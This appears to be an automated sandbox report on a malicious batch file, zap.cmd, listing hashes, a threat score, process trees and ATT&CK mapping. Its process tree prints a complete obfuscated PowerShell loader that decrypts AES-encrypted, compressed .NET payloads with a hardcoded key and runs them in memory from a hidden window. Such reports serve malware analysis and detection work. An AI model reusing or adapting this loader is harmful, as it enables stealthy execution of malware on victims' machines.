152cbca849779c40fe6673458a9e25e4be0b080f7cb4db8cfee5a88cec74b1e5

General

Target

zap.cmd
Size

65KB
MD5

85c9311ae0014ac8bb98089d0bd51bdc
SHA1

5140e9beda6014b02df3c09f84a284f9c25532ca
SHA256

152cbca849779c40fe6673458a9e25e4be0b080f7cb4db8cfee5a88cec74b1e5
SHA512

f202a1e07afb444e5264cd28f7c0eedd55a3d002d14f989bf9fb065fd451be1df6197b5dcb61c616e8dbd1d3ba43cdc058192c89858c8bc292c199d5e8e9fb54
SSDEEP

768:std2pH1E6G5dMQzfwXLyVM0rAQiB/tp6UTGKxHHVpMGgJxhvtsQekLpzmWnfCB3Q:fpH1E6YrfDSF+UaaLtE1sQeAJ2Zlg9

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2484 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2484 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2484 powershell.exe

pid	process
2484	powershell.exe

pid	process
2484	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2484	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 3028 wrote to memory of 2216	3028	cmd.exe	cmd.exe
PID 3028 wrote to memory of 2216	3028	cmd.exe	cmd.exe
PID 3028 wrote to memory of 2216	3028	cmd.exe	cmd.exe
PID 3028 wrote to memory of 2556	3028	cmd.exe	cmd.exe
PID 3028 wrote to memory of 2556	3028	cmd.exe	cmd.exe
PID 3028 wrote to memory of 2556	3028	cmd.exe	cmd.exe
PID 2556 wrote to memory of 2944	2556	cmd.exe	cmd.exe
PID 2556 wrote to memory of 2944	2556	cmd.exe	cmd.exe
PID 2556 wrote to memory of 2944	2556	cmd.exe	cmd.exe
PID 2556 wrote to memory of 2884	2556	cmd.exe	cmd.exe
PID 2556 wrote to memory of 2884	2556	cmd.exe	cmd.exe
PID 2556 wrote to memory of 2884	2556	cmd.exe	cmd.exe
PID 2556 wrote to memory of 2484	2556	cmd.exe	powershell.exe
PID 2556 wrote to memory of 2484	2556	cmd.exe	powershell.exe
PID 2556 wrote to memory of 2484	2556	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\zap.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3028

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
2⤵
PID:2216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\zap.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:2556

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
3⤵
PID:2944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\zap.cmd';$CMIY='ReazBIWdzBIWLzBIWinzBIWeszBIW'.Replace('zBIW', ''),'LXpsBoadXpsB'.Replace('XpsB', ''),'CXFxWopXFxWyTXFxWoXFxW'.Replace('XFxW', ''),'ChSZNiaSZNinSZNigSZNieExSZNiteSZNinSZNisiSZNionSZNi'.Replace('SZNi', ''),'DecehEzompehEzrehEzeehEzssehEz'.Replace('ehEz', ''),'EleFRIUmenFRIUtFRIUAFRIUtFRIU'.Replace('FRIU', ''),'InwXPBvowXPBkwXPBewXPB'.Replace('wXPB', ''),'GeAzGItCAzGIurAzGIrenAzGItAzGIPAzGIrocAzGIessAzGI'.Replace('AzGI', ''),'SWavzpWavzliWavztWavz'.Replace('Wavz', ''),'TrQRjDaQRjDnsQRjDfQRjDorQRjDmFiQRjDnQRjDaQRjDlQRjDBQRjDlQRjDoQRjDckQRjD'.Replace('QRjD', ''),'EQBEyntQBEyrQBEyyPQBEyoiQBEyntQBEy'.Replace('QBEy', ''),'CfrRUrefrRUatfrRUeDfrRUecrfrRUyptfrRUorfrRU'.Replace('frRU', ''),'FrostbEmBastbEse6stbE4SstbEtrstbEinstbEgstbE'.Replace('stbE', ''),'MlFlLailFlLnMlFlLolFlLdlFlLullFlLelFlL'.Replace('lFlL', '');powershell -w hidden;function iadMU($QWytb){$xHhyf=[System.Security.Cryptography.Aes]::Create();$xHhyf.Mode=[System.Security.Cryptography.CipherMode]::CBC;$xHhyf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$xHhyf.Key=[System.Convert]::($CMIY[12])('tgQIjCkwwZqAzylw/Tfv+EER7SzcL8PBsCAaLmr+5qk=');$xHhyf.IV=[System.Convert]::($CMIY[12])('pSyOatGwmEbEIOKwBSvE0g==');$DSRRZ=$xHhyf.($CMIY[11])();$Quqau=$DSRRZ.($CMIY[9])($QWytb,0,$QWytb.Length);$DSRRZ.Dispose();$xHhyf.Dispose();$Quqau;}function XBiYS($QWytb){$uSNme=New-Object System.IO.MemoryStream(,$QWytb);$CliDx=New-Object System.IO.MemoryStream;$gFTqG=New-Object System.IO.Compression.GZipStream($uSNme,[IO.Compression.CompressionMode]::($CMIY[4]));$gFTqG.($CMIY[2])($CliDx);$gFTqG.Dispose();$uSNme.Dispose();$CliDx.Dispose();$CliDx.ToArray();}$uMaFe=[System.IO.File]::($CMIY[0])([Console]::Title);$zflDv=XBiYS (iadMU ([Convert]::($CMIY[12])([System.Linq.Enumerable]::($CMIY[5])($uMaFe, 5).Substring(2))));$dcHsS=XBiYS (iadMU ([Convert]::($CMIY[12])([System.Linq.Enumerable]::($CMIY[5])($uMaFe, 6).Substring(2))));[System.Reflection.Assembly]::($CMIY[1])([byte[]]$dcHsS).($CMIY[10]).($CMIY[6])($null,$null);[System.Reflection.Assembly]::($CMIY[1])([byte[]]$zflDv).($CMIY[10]).($CMIY[6])($null,$null); "
3⤵
PID:2884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2484

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2484-4-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

Filesize
4KB

Download
memory/2484-5-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2484-6-0x0000000002070000-0x0000000002078000-memory.dmp

Filesize
32KB

Download
memory/2484-8-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2484-7-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2484-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2484-10-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2484-11-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2484-12-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2484-13-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing